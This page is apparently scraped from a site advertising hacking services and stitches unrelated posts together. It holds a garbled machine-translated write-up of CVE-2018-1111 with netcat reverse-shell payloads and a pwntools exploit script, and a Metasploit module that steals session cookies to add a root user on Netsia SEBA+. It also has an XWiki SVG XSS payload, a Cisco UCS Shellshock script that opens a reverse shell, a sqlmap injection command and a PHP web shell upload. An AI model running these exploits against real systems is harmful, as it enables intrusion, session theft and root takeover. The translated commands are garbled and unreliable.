Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863141319

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

0x01脆弱性の概要

最近、Red Hatはセキュリティアップデートを正式にリリースし、CVE-2018-1111の番号付けされたリモートコード実行の脆弱性を修正しました。攻撃者は、DHCPサーバーを偽造して応答パケットを送信し、Red Hatシステムを攻撃し、ルートアクセス許可を取得し、任意のコマンドを実行できます。

0x02影響バージョン

Red Hat Enterprise Linux Server 6

Red Hat Enterprise Linux Server 7

Centos 6

Centos 7

0x03脆弱性の詳細

DHCPは、主に内部ネットワークでの動的IPアドレス割り当てに使用されるLANのネットワークプロトコルです。 Red Hatが提供するDHCPクライアントパッケージDHClientのスクリプトは/etc/networkmanager/dispatcher.d/11-dhclient（Red Hat Enterprise Linux 7）および/etc/networkmanager/dispatcher.d/10-dhclient（Red Hat Enterprise Linux 6）;このスクリプトは、NetworkManagerコンポーネントがDHCPサーバーからDHCP応答を受信するときに実行されます。

alt

単一の引用符を使用してパラメーター値を正常にエスケープし、コマンドの実行を実現します

-dhcp-option='252、x'nc -e /bin /bash 10.1.1.1 1337＃'

0x04脆弱性の再発

は、再現するときに注意してください。

1.両方の仮想マシンをホスト専用モードに設定する必要があります

2。ホストモードLS8 Z（D/M0〜J2 F9 LでDHCPサービスを無効にする

環境

攻撃航空機：Kali 2018.2

被害者マシン：Centos7

Tsinghua Mirror SiteでCentos 7をダウンロードします

https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/centos-7-x86_64-dvd-1708.iso

VMware12.0

ネットワークをセットアップ

ここでは、VMware仮想マシンを使用して実装します。両方のシステムは、VMNET1ネットワークカード（ホストモードのみ）に接続され、ネットワークカードをオフにします。

DHCPサービス。

avjxkwh1db58992.jpg

次に、kali、dnsmasqでDHCPサーバーの構成を開始します

これは、DNSとDHCPを構成するためのコンパクトで便利なツールです。小さなネットワークに適しています。 DNS機能とオプションのDHCP機能を提供して、DNSサービスまたはDHCPサービスを迅速に構築します。

kali

を構成します

最初に、Kaliの下でIPを静的に構成し、ルートを追加します。コマンドは次のとおりです。

ifconfig eth0 192.168.71.5netmask

255.255.255.0

ルートAddDefaultGW192.168.71.5

まず、DNSMasqで使用する必要がある構成ファイル /etc/dnsmasq.confを作成します。コンテンツは次のとおりです。

vim /etc/dnssmassq.conf

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

DHCP-RANGE=192.168.71.10,192.168.71.30,22H

DHCP-Option=3,192.168.131.5

DHCP-Option=6,192.168.131.5

ログQueries

log-facility=/var/log/dnsmasq.log

パラメーター説明：

DHCP-RANGE:は、クライアントに割り当てるIPアドレスの範囲とリース時間を示します

DHCP-OPTION:は、DHCPクライアントに割り当てられたオプション情報を示します

log-facility:はロガーを表します

構成ファイルに含まれるオプションの値と意味は次のとおりです。

3:ゲートウェイアドレスオプションを設定します

6: DNSサーバーアドレスオプションを設定します

252:は、DHCPクライアントがプロキシ設定を構成するためのURLを提供しますwpad-proxy-url

ペイロードに関与するオプション252は、DHCPサーバーに252を使用して、ブラウザでDHCPサーバーに通知する機能を記述し、このオプションにリストされているURLからネットワーク上のプロキシ設定に関する情報を取得するためにコード252を使用して、プライベート使用予約部品の一部です。

ここでは、dnsmasq.confにdhcp-rangeを設定します

これは、192.168.71.10-192.168.71.30/24のIPアドレス範囲であり、リース時間は12時間です。

DHCP-Option 3ゲートウェイアドレスとDHCP-Option 6

DNSサーバーは、KaliローカルネットワークカードのIPアドレスに設定され、KaliのIPアドレスは静的IPです。 /etc/dnsmasq.conf構成ファイルを変更した後、DNSMASQサービスを直接開始することはできません。

DNSMASQを使用してDNSサーバーを偽造し、次のようにコマンドペイロードを実行します。

dnsmasq -dc dnsmasq.conf

-dhcp-option='252、malayke'nc -e /bin /bash 192.168.71.5 6666＃'

jrq4wn5ffbk8993.jpg

ここで-dはデバッグモードを表し、-cは指定された構成ファイルを表し、DNSMASQサービスを実行します。 DNSMASQコマンドのより詳細な説明については、Man DNSMASQを使用して表示できます。

コマンド実行の効果は、NCを介してシェルを192.168.71.5のポート6666にバウンスすることです。したがって、KALIでNCポート監視を有効にする必要があります。コマンドは次のとおりです。

NC-L-P6666-V

beprim5qdbm8994.jpg

攻撃

IPアドレスを取得してネットワークカードを再起動するためにDHCPにCentosを設定しました！現時点では、CentOSはネットワークサービスを再起動し、DHCPサーバーが発行したIPアドレスを取得する必要があります。ここでは、IPアドレスが取得されたことがわかります192.168.71.18

コマンドは次のとおりです。

/etc/init.d/network再起動

umy0bfxs0me8995.jpg

IPが取得されたことが示されています。ここKaliで何が起こったのか見てみましょう

itwudoziovp8996.jpg

この時点で、KaliのNCでは、Centosシェルを取得でき、ルート許可があります

0x05脆弱性原理

単一の引用がスクリプトで逃げ出し、ルート許可を使用してスクリプトを直接実行しました。

dhcp-option=” 252、x’nc-e/bin/bash10.1.1.11337＃”

0x06修復方法

#yum update dhclient

#RPM -QA -CHANGELOG DHCLIENT |グレップ

CVE-2018- Resolves:＃1570898-CVE-2018-1111:を解析しないでください

エスケープキャラクターとしてのバックスラッシュ

ox7はexp

を利用します

＃/usr/bin/python

#encoding=utf-8

PWNインポートから *

OSをインポートします

sysをインポートします

インポート時間

＃著者: xyzz@chamd5.org

＃時間: 20180520

IP='192.168.131.52'

ポート=1314

＃context.log_level='debug'

DEF PWN（IP、ポート）:

f=open（ 'dnsmasq.conf'、 'w'）

start=ip [:ip.rfind（ '。'）]+'。10'

end=ip [:ip.rfind（ '。'）]+'。30'

dnsmasq='' '

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

dhcp-range={start}、{end}、22h

dhcp-option=3、{ip}

dhcp-option=6、{ip}

ログQueries

log-facility=/var/log/dnsmasq.log

'' .format（ip=ip、start=start、end=end）

f.write（dnsmasq）

f.close（）

cm=[]

cm.append（ 'ifconfig eth0 {ip} netmask 255.255.255.0' .format（ip=ip）））

cm.append（ 'ルート追加gw {ip}'。フォーマット（ip=ip））

cm.append（ '' 'dnsmasq -dc dnsmasq.conf

-dhcp-option='252、' nc -e /bin /bash {ip} {port}

＃ '' '。フォーマット（ip=ip、port=port））

q=process（ 'bash'）

範囲のi（len（cm）-1）:の場合

Q.sendline（cm [i]）

time.sleep（1）

＃time.sleep（100）

p=process（ 'bash'）

p.sendline（ 'nc -l -p {port} -v'.format（port=port））

Q.Sendline（CM [-1]）

time.sleep（3）

p.interactive（）

＃q.interactive（）

__name__=='__main __' :の場合

PWN（IP、ポート）

24wn4mcn41k8997.jpg

fcaq3qqosd58998.jpg

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Netsia SEBA+ <= 0.16.1 Authentication Bypass and Add Root User' ,
      'Description'    => %q{
        This module exploits an authentication bypass in Netsia SEBA+, triggered by add new root/admin user.
        HTTP requests made to the "Active Sessions" section which can be accessed by root/admin user, 
        can be performed without the need for any session(cookie) information. 
        Therefore, the session cookie informations of the active users in the application can be read from the response content.
        A new authorized user can be created with the obtained cookie.
      },
      'References'     =>
        [
          [ 'CVE', '' ],
          [ 'URL', 'https://www.pentest.com.tr/exploits/Netsia-SEBA-0-16-1-Authentication-Bypass-Add-Root-User-Metasploit.html' ],
          [ 'URL', 'https://www.netsia.com' ]
        ],
      'Author'         =>
        [
          'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "2021-01-06",
      'DefaultOptions' => { 'SSL' => true }
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username for your new account']),
        OptString.new('PASSWORD', [true, 'The password for your new account', Rex::Text.rand_text_alphanumeric(14)])
      ])
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def check
    begin
    res = send_request_cgi(
          'method'  => 'GET',
          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
          )

    rescue
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 and res.body.include? 'sessionId'   
      return Exploit::CheckCode::Vulnerable
    else 
       if res.code == 200 and res.body.include? 'SUCCESS'
         print_status("Target is vulnerable! But active admin session was not found. Try again later.")
         return Exploit::CheckCode::Appears
       end
    end

    return Exploit::CheckCode::Safe
  end

  def count_user(data, find_string)
    data.scan(/(?=#{find_string})/).count
  end

  def run
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    res = send_request_cgi(
          'method'  => 'GET',
          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
          )
    sescount = count_user(res.body,'"name"')
    print_good("Currently #{sescount} active sessions have been detected.")

    cookies = res.body.scan(/sessionId":"([\S\s]*?)","action/)
    puts cookies
    $i = 0

    while $i <= sescount  do
       sessloop = cookies[$i]
       sessid = "SESSION=" + sessloop.to_s
       cookie = sessid.split('"]').join('').split('["').join('')
       $i +=1
       json_data='{"data": {"password": "' + datastore["PASSWORD"] + '", "roles": [{"locations": [], "name": "admin", "permList": [{"data": ["/alarm-manager/alarm/definition/list", "/alarm-manager/alarm/active/list", "/alarm-manager/alarm/active/get", "/alarm-manager/alarm/log/list", "/alarm-manager/alarm/log/search"], "perm_key": "alarm:view"}, {"data": ["/sepon-core/profile/get/service", "/sepon-core/profile/list/service"], "perm_key": "services:view"}, {"data": ["/sepon-core/node/list/edge-ext"], "perm_key": "edge-ext:view"}, {"data": ["/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "uiconfig:view"}, {"data": ["/pal/switchinfo/list"], "perm_key": "switch:view"}, {"data": ["/asup/bbsl"], "perm_key": "asup:bbsl"}, {"data": ["/sepon-core/node/list", "/sepon-core/node/get"], "perm_key": "location:view"}, {"data": ["/pal/olt/get", "/pal/olt/nniport", "/pal/olt/ponport", "/pal/inventory/olt-list", "/sepon-core/node/list/olt", "/pal/laginfo/get"], "perm_key": "olt:view"}, {"data": ["/bbsl*/olt/reboot"], "perm_key": "olt:reboot"}, {"data": ["/sepon-core/node/delete"], "perm_key": "edge:delete"}, {"data": ["/user/add"], "perm_key": "default"}, {"data": ["/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/provision", "/bbsl*/subscriber/preprovision", "/bbsl*/subscriber/provision-subscriber", "/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/continue-provision-with-service-definition", "/bbsl*/subscriber/delete-service", "/bbsl*/subscriber/delete-services", "/bbsl*/subscriber/provision-service", "/bbsl*/subscriber/update-service-subscription"], "perm_key": "subscriptions:edit"}, {"data": ["/authentication-server/user/add", "/authentication-server/user/update"], "perm_key": "user:edit"}, {"data": ["/home/dashboard", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:edit"}, {"data": ["/sepon-core/node/delete/force"], "perm_key": "edge:forcedelete"}, {"data": ["/sepon-core/profile/delete/service"], "perm_key": "services:delete"}, {"data": ["/bbsl*/onu/provision-onu", "/bbsl*/onu/undo-provision", "/sepon-core/node/update", "/bbsl*/onu/delete-onu", "/bbsl*/onu/provision-onu", "/bbsl*/onu/update-serial", "/bbsl*/onu/onu-power"], "perm_key": "onu:edit"}, {"data": ["/alarm-manager/response-code"], "perm_key": "alarm:response-code"}, {"data": ["/authentication-server/request/list", "/authentication-server/request/search", "/authentication-server/request/count"], "perm_key": "request_history:view"}, {"data": ["/sepon-core/profile/add/service"], "perm_key": "services:edit"}, {"data": ["/authentication-server/user/delete"], "perm_key": "user:delete"}, {"data": ["/pal/speedprofile/delete", "/sepon-core/profile/delete/speed"], "perm_key": "speed_profiles:delete"}, {"data": ["/sepon-core/profile/sync/security", "/sepon-core/profile/add/sync/security", "/sepon-core/profile/delete/sync/security", "/sepon-core/profile/get/sync/security", "/sepon-core/profile/list/sync/security", "/sepon-core/profile/list/sync/security/by-profile-id", "/sepon-core/profile/list/sync/security/by-edge-id"], "perm_key": "security_profiles:sync"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:perf-query"}, {"data": ["/authentication-server/user/list", "/authentication-server/user/get"], "perm_key": "user:view"}, {"data": ["/bbsl*/onu/reboot"], "perm_key": "onu:reboot"}, {"data": ["/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/service-subscription", "/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-onu-serial-uni-no-service-name", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/uni-subscription-info-location"], "perm_key": "subscriptions:view"}, {"data": ["/pal/technologyprofile/get", "/pal/technologyprofile/list", "/sepon-core/profile/get/tech", "/sepon-core/profile/list/tech"], "perm_key": "tech_profiles:view"}, {"data": ["/authentication-server/response-code"], "perm_key": "auth:response-code"}, {"data": ["/sepon-core/node/move"], "perm_key": "location:move"}, {"data": ["/pal/olt-location/add"], "perm_key": "oltlocation:edit"}, {"data": ["/sepon-core/node/delete"], "perm_key": "location:delete"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "dashboard:view"}, {"data": ["/authentication-server/role/list", "/authentication-server/role/get"], "perm_key": "role:view"}, {"data": ["/sepon-core/profile/sync/service", "/sepon-core/profile/add/sync/service", "/sepon-core/profile/delete/sync/service", "/sepon-core/profile/get/sync/service", "/sepon-core/profile/list/sync/service", "/sepon-core/profile/list/sync/service/by-profile-id", "/sepon-core/profile/list/sync/service/by-edge-id"], "perm_key": "services:sync"}, {"data": ["/sepon-core/node/get/root", "/pal/inventory/all", "/pal/inventory/pon-port-list", "/pal/inventory/uni-list", "/pal/inventory/onu-list", "/pal/inventory/olt-list", "/pal/switchinfo/list", "/pal/inventory/olt", "/pal/inventory/olt-list", "/pal/inventory/olt-location-list", "/pal/inventory/onu", "/pal/inventory/onu-list", "/pal/inventory/onu-with-serial-number", "/pal/inventory/pon-port", "/pal/inventory/pon-port-list", "/pal/inventory/uni", "/pal/inventory/uni-list", "/pal/inventory/uni"], "perm_key": "topology:view"}, {"data": ["/bbsl*/subscriber/update-service-subscription-status"], "perm_key": "services:statuschange"}, {"data": ["/sepon-core/profile/sync/speed", "/sepon-core/profile/add/sync/speed", "/sepon-core/profile/delete/sync/speed", "/sepon-core/profile/get/sync/speed", "/sepon-core/profile/list/sync/speed", "/sepon-core/profile/list/sync/speed/by-profile-id", "/sepon-core/profile/list/sync/speed/by-edge-id"], "perm_key": "speed_profiles:sync"}, {"data": ["/bbsl*/property/add", "/bbsl*/property/update", "/bbsl*/property/delete"], "perm_key": "property:edit"}, {"data": ["/sepon-core/node/add/edge", "/sepon-core/node/refresh/edge", "/sepon-core/node/get/edge", "/sepon-core/node/update"], "perm_key": "edge:edit"}, {"data": ["/sepon-core/profile/sync/tech", "/sepon-core/profile/add/sync/tech", "/sepon-core/profile/delete/sync/tech", "/sepon-core/profile/get/sync/tech", "/sepon-core/profile/list/sync/tech", "/sepon-core/profile/list/sync/tech/by-profile-id", "/sepon-core/profile/list/sync/tech/by-edge-id"], "perm_key": "tech_profiles:sync"}, {"data": ["/bbsl*/olt/delete"], "perm_key": "olt:delete"}, {"data": ["/sepon-core/node/list/edge", "/sepon-core/node/get/edge"], "perm_key": "edge:view"}, {"data": ["/sepon-core/node/add/location", "/sepon-core/node/update"], "perm_key": "location:edit"}, {"data": ["/alarm-manager/alarm/resolve"], "perm_key": "alarm:edit"}, {"data": ["/discovery/list"], "perm_key": "discovery:view"}, {"data": ["/pal/property/get"], "perm_key": "property:view"}, {"data": ["/sepon-core/node/move"], "perm_key": "edge:move"}, {"data": ["/asup/pal"], "perm_key": "asup:pal"}, {"data": ["/authentication-server/role/delete"], "perm_key": "role:delete"}, {"data": ["/pal/switchinfo/update"], "perm_key": "topology:edit"}, {"data": ["/pal/olt-location/delete"], "perm_key": "oltlocation:delete"}, {"data": ["/bbsl*/onu/disable", "/bbsl*/onu/enable"], "perm_key": "onu:statuschange"}, {"data": ["/alarm-manager/event/definition/list", "/alarm-manager/event/log/list", "/alarm-manager/event/log/search"], "perm_key": "event:view"}, {"data": ["/pal/technologyprofile/delete", "/sepon-core/profile/delete/tech"], "perm_key": "tech_profiles:delete"}, {"data": ["/pal/speedprofile/add", "/pal/speedprofile/create", "/sepon-core/profile/add/speed"], "perm_key": "speed_profiles:edit"}, {"data": ["/authentication-server/role/add", "/authentication-server/role/update"], "perm_key": "role:edit"}, {"data": ["/edge-*"], "perm_key": "gateway-test:view"}, {"data": ["/bbsl*/olt/add", "/sepon-core/node/update"], "perm_key": "olt:edit"}, {"data": ["/service-admin"], "perm_key": "service-admin:view"}, {"data": ["/asup/seba-central"], "perm_key": "asup:core"}, {"data": ["/alarm-manager/mailNotification/add", "/alarm-manager/mailNotification/update", "/alarm-manager/mailNotification/delete"], "perm_key": "alarm-mail:edit"}, {"data": ["/pal/securityprofile/get", "/pal/securityprofile/list", "/sepon-core/profile/get/security", "/sepon-core/profile/list/security"], "perm_key": "security_profiles:view"}, {"data": ["/alarm-manager/mailNotification/list", "/alarm-manager/mailNotification/active/list", "/alarm-manager/mailNotification/get"], "perm_key": "alarm-mail:view"}, {"data": ["/bbsl*/subscriber/delete", "/bbsl*/subscriber/delete-all-subscriber", "/bbsl*/subscriber/delete-list-of-service"], "perm_key": "subscriptions:delete"}, {"data": ["/bbsl*/olt/disable", "/bbsl*/olt/enable"], "perm_key": "olt:statuschange"}, {"data": ["/authentication-server/permission/list", "/authentication-server/permission/getByUser"], "perm_key": "permission:view"}, {"data": ["/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "uiconfig:edit"}, {"data": ["/response-code"], "perm_key": "gateway:response-code"}, {"data": ["/pal/speedprofile/all", "/pal/speedprofile/get", "/pal/speedprofile/list", "/sepon-core/profile/get/speed", "/sepon-core/profile/list/speed"], "perm_key": "speed_profiles:view"}, {"data": ["/pal/ont/device", "/pal/ont/uniport", "/pal/ont/whitelist", "/pal/inventory/onu-list", "/pal/ont/stats-by-olt-number", "/pal/ont/stats-by-pon-port-number", "/pal/ont/search"], "perm_key": "onu:view"}, {"data": ["/pal/securityprofile/delete", "/sepon-core/profile/delete/security"], "perm_key": "security_profiles:delete"}, {"data": ["/pal/securityprofile/add", "/pal/securityprofile/create", "/sepon-core/profile/add/security"], "perm_key": "security_profiles:edit"}, {"data": ["/temip_integration/get_alarm_list"], "perm_key": "temip:view"}, {"data": ["/authentication-server/session/list"], "perm_key": "session:view"}, {"data": ["/stats-manager/response-code"], "perm_key": "stat:response-code"}, {"data": ["/bbsl*/onu/delete-onu"], "perm_key": "onu:delete"}, {"data": ["/pal/olt-location/get", "/pal/inventory/olt-location-list", "/sepon-core/node/list/oltLocation"], "perm_key": "oltlocation:view"}, {"data": ["/pal/technologyprofile/add", "/sepon-core/profile/add/tech"], "perm_key": "tech_profiles:edit"}]}, {"locations": [], "name": "default", "permList": [{"data": ["/user/add"], "perm_key": "default"}]}, {"locations": [{"id": 1, "name": "root"}], "name": "root", "permList": []}], "status": "ACTIVE", "username": "' + datastore["USERNAME"] + '"}}'

       res = send_request_raw({
      			         'method' => 'POST',
     			         'ctype'  => 'application/json',
      			         'uri' => normalize_uri(target_uri.path, 'authentication-server', 'user', 'add'),
                                 'cookie' => cookie,
                                 'data' => json_data
      			        })

       if res.code == 200 and res.body.include? '"SUCCESS"'   
         print_good("Excellent! User #{datastore["USERNAME"]} was added successfully with root, admin and default privileges.")
         print_good("Username : #{datastore["USERNAME"]}")
         print_good("Password : #{datastore["PASSWORD"]}")
         break
       end 
     end
  end
end
HireHackking 
# Exploit Title: Xwiki CMS 12.10.2 - Cross Site Scripting (XSS)
# Date: 17-01-2021
# Exploit Author: Karan Keswani
# Vendor Homepage: https://www.xwiki.org/xwiki/bin/view/Main/WebHome
# Software Link: https://www.xwiki.org/xwiki/bin/view/Download/
# Version: Xwiki CMS- 12.10.2
# Tested on: Windows 10

# Description: XWiki 12.10.2 allows XSS via an SVG document to the upload feature of the comment section.

# Additional Information:
Well I found this vulnerability in Xwiki project based websites but they did not respond so i installed a latest version of Xwiki CMS and hosted on localhost with help of Wamp and then i exploited that vulnerability.

# Attack Vector:
1) Create 2 accounts:- 1)Victim & 2)Attacker
2) Login with victim account, there is a option to create new dashboard and there is page says give title and type.( Type of Dashboard:-I created simple page)
3) Now save view the page,
4) Now login with attacker account and search and open the dashboard which has been created by victim,
5) When you open the dashboard there is a comment section option, Go to that comment section & add a comment,there is a upload functionality,
6) So i tried to upload a sample svg file to check that it will allow to upload .svg format
7) Now i created a text file with XSS payload and then saved it as a .svg format
8) Upload your .svg file and click on send it to the server and click ok (your comment will be add)
9) Now open that comment with the victim account and click on that view image you'll see the xss pop-up.

Xss Payload:-
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

onload="alert('xss')"
 xmlns="http://www.w3.org/2000/svg">
</svg>
HireHackking 
# Exploit Title: Cisco UCS Manager 2.2(1d) - Remote Command Execution
# Description: An unspecified CGI script in Cisco FX-OS before 1.1.2 on Firepower 9000 devices and Cisco Unified Computing System (UCS) Manager before 2.2(4b), 2.2(5) before 2.2(5a), and 3.0 before 3.0(2e) allows remote attackers to execute arbitrary shell commands via a crafted HTTP request, aka Bug ID CSCur90888.
# Date: 1/15/2021
# Exploit Author: liquidsky (J.McPeters)
# Vulnerable Software: Cisco UCS Manager - 2.2(1d) -> [According to the vendor (cisco), this is known to impact versions prior to 3.0(2e).]
# Vendor Homepage : https://www.cisco.com/c/en/us/products/servers-unified-computing/ucs-manager/index.html
# Version: 2.2(1d), 2.2(3c)A
# Cisco Reference: https://quickview.cloudapps.cisco.com/quickview/bug/CSCur90888
# Tested On: Cisco UCS Manager - 2.2(1d) (Exploit ran with Debian 5.6.7-1kali1 (Kali 2020.1 x64))
# Author Site: https://github.com/fuzzlove/Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution
# Special Notes: This application by default uses outdated TLS 1.0 for communication, so thats why there is a quickfix/temporary patch to 1.0 in openssl utilizing 'sed' (that gets changes back after exploitation).
#
# Greetz: wetw0rk, Fr13ndz, O.G.Xx25, MS, SS, JK, the S3 family, and last but NOT least droppunx ^_~
#

import sys, ssl, os, time
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print "+-------------------------------------------------------------+"
print
print "-       Cisco Unified Computing System Manager CGI RCE "
print
print "          Cisco UCS Manager - 2.2(1d)"
print
print "-   PoC by: LiquidSky - 1/15/21  |  CISCO-BUG-ID:  CSCur90888   "
print
print "+-------------------------------------------------------------+"

try:

	target		= sys.argv[1]
	shellip		= sys.argv[2]
	shellport	= sys.argv[3]

except IndexError:

        print
	print "- Usage: %s <vuln-site> <listener-ip> <listener-port>" % sys.argv[0]
	print "- Example: %s https://ciscoucsmgr 192.168.1.123 443" % sys.argv[0]
        print
	sys.exit()
	
def ch3x_w00t():
     if os.geteuid()==0:
         print "[*] Running exploit as root."
     else:
         print "[!] You are not root, be sure you can change /etc/ssl/openssl.cnf"
         print "[x] Most likely going to see an error..."
         time.sleep(5)

# Performs backup of openssl.cnf just in case and performs checks of existing vulnerable pages...
def cisco_vuln():
     ch3x_w00t()
     print "[x] Backing up /etc/ssl/openssl.cnf to /etc/ssl/openssl.bak (just in case)"
     os.system("cp /etc/ssl/openssl.cnf /etc/ssl/openssl.bak")
     os.system("sed -i 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/' /etc/ssl/openssl.cnf")
     print "[*] Checking vulnerable URL "
     headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
     cisco_url = "" + target + "/ucsm/isSamInstalled.cgi"
#Checking page
     check = requests.get(cisco_url, headers=headers1, verify=False)
#Grabbing response
     res = check.text
     if "true" in res:
         return True
     return False

# Safety check - make sure the user is okay with the TLS1.0 temp fix
# Shout out to Dean ^^ for keeping me polite...

def exploit_question():
      print "[x] Warning the service by default uses TLS1.0 so . . ."
      print
      print "[?] This exploit temporarily patches '/etc/ssl/openssl.cnf' to use TLS1.0 using 'sed' and then changes back to TLS1.2"
      print
      print "[!] A backup is placed in /etc/ssl/openssl.bak just to be safe..."
      print
      question = raw_input('[!] Do you wish to continue, "yes" or "no" ?')
      if question == 'yes':
          print
          print "[!] Great attempting exploitation checks: " + target + '!'
          cisco_vuln()
      else:
          print
          print "[x] Stay safe m8 ;) - Read the source, its safe . . "
          print
          sys.exit()

exploit_question()

def cisco_response():
     headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
     cisco_url = "" + target + "/ucsm/isSamInstalled.cgi"
     request = requests.get(cisco_url, headers=headers1, verify=False)
     if request.status_code == 200:
         print "[x] Page seems to exist -- Possibly vulnerable?"
     else:
         print "[!] Page does not exist - Not vulnerable"
         print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)"
         os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf")
         sys.exit()

def cisco_exploit():
     cisco_url = "" + target + "/ucsm/isSamInstalled.cgi"
     headers = {"User-Agent": "() { ignored;};/bin/bash -i >& /dev/tcp/" + shellip + "/" + shellport + " 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

     print "[x] Sending Shell to IP: " + shellip + " Port: " + shellport + ""
     print "[?] If this works you will see the exploit hang"

     requests.get(cisco_url, headers=headers, verify=False)
     print "[!] Shell Sent"

cisco_exploit()

def main():
     if cisco_vuln():
         print ""
         print "[+] Perhaps success?"
         print ""
         print "  ^_~  got shellz?   - [ liquidsky | 2021 ]"
         print
         print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)"
         os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf")
     else:         
         print "[-] failure!"
         print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)"
         os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf")
 
if __name__ == "__main__":
     main()
HireHackking 
# Exploit Title: Life Insurance Management System 1.0 - 'client_id' SQL Injection
# Date: 15/1/2021
# Exploit Author: Aitor Herrero
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html
# Version: 1.0
# Tested on: Windows /linux /

Login in the application

Go to clientStatus.php?client_id=

sqlmap -u "http://192.168.0.108:8080/lims/clientStatus.php?client_id=1511986129'%20and%20sleep(20)%20and%20'1'='1
<http://192.168.0.108:8080/lims/clientStatus.php?client_id=1511986129%27%20and%20sleep(20)%20and%20%271%27=%271>"
HireHackking 
# Exploit Title: Life Insurance Management System 1.0 - File Upload RCE (Authenticated)
# Date: 15/1/2021
# Exploit Author: Aitor Herrero
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html
# Version: 1.0
# Tested on: Windows /linux /

Login in the application

Go to Clients and you can add new client o modify existent

Click examination botton and upload a test.php with content:

"<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd =
($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>"

Click Upload and intercept with burpsuite

Change the content type to image/png

Go to the path

http://localhost:8080/lims/uploads/test.php?cmd=dir
HireHackking

Use PsCoser to easily and quickly personalize Photoshop's splash screen, interface icons, and hide and customize the splash text. In addition, the software author provides some PSD templates for startup image materials, which is convenient for everyone to modify. The software author passed the test in Photoshop CC 2015 2017, 2018, 2019, and 2020.jfq43vsctgz3690.png

Main functions:

Modify Photoshop's startup screen. Modify Photoshop's interface icon (icon in the upper left corner of the window). Hide and customize startup text. Provides theme functions to manage startup screens, icons and startup texts for easy management and quick switching. Parses and modify Photoshop Icon Resources files to export and modify more Photoshop internal pictures.

Modification method

After downloading, unzip it and get the following file. Double-click PsCoser_beta6.exe to run. Please open it with an administrator in the system above win10.

You need to select the installation location of Photoshop for the first run s44gmc4qijo3693.png

After the selection is completed, the following prompt will be displayed if it is available.q5gz0kjzpqp3694.png

